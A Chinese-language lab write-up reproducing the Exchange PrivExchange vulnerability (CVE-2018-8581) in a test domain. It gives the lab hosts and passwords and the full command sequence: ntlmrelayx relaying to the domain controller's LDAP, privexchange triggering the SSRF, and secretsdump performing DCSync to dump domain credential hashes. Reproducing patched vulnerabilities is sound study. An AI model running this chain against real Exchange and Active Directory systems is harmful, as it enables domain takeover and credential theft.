CVE-2018-8581漏洞复现
环境搭建
主机 | 机器名 | ip | 用户 | 密码 | 版本 |
---|---|---|---|---|---|
域控1 | ad1.test.com | 192.168.164.174 | administrator | Aa1234 | win2012r2 |
exchange2016-cu11 | mail1.test.com | 192.168.164.173 | administrator | Aa1234 | win2012r2 |
域内机器 | user.test.com | 192.168.164.129 | user1 | Uu1234. | win2008r2 |
kali | 192.168.152.45 | 192.168.164.128 | xxx | xxx | kali |
漏洞复现
由于exchange机器账户默认可以配置
'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
Exchange Windows Permissions,Exchange Trusted Subsystem都具备Write-ACL的权限。
Exchange Trusted Subsystem的成员包括Exchange机器用户
这里是ssrf的利用,由于这个ssrf使用的http协议,所以默认不需要签名,所以可以中继到域管配置账户拥有dcsync的权限
首先在kali上配置ntlm中继
proxychains python3 ntlmrelayx.py -t ldap://192.168.164.174 --escalate-user user1
之后触发,由于kali的ssl有些问题,使用windows
python privexchange.py -ah 192.168.30.204 -u user1 -d test.com -ev 2013 192.168.164.173 -p Uu1234.
之后
使用dcsync
proxychains python3 secretsdump.py test/user1:Uu1234.@192.168.164.174 -dc-ip 192.168.164.174
利用这个环境是只需要一个代理,如果不出网可以使用linux机器或者直接通过端口转发出网,一样的效果,
目前官方已经修复该漏洞
https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2019-0686
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2019-0724
参考文章
https://daiker.gitbook.io/windows-protocol/ntlm-pian/7#4-cve-2018-8581
https://github.com/dirkjanm/PrivExchange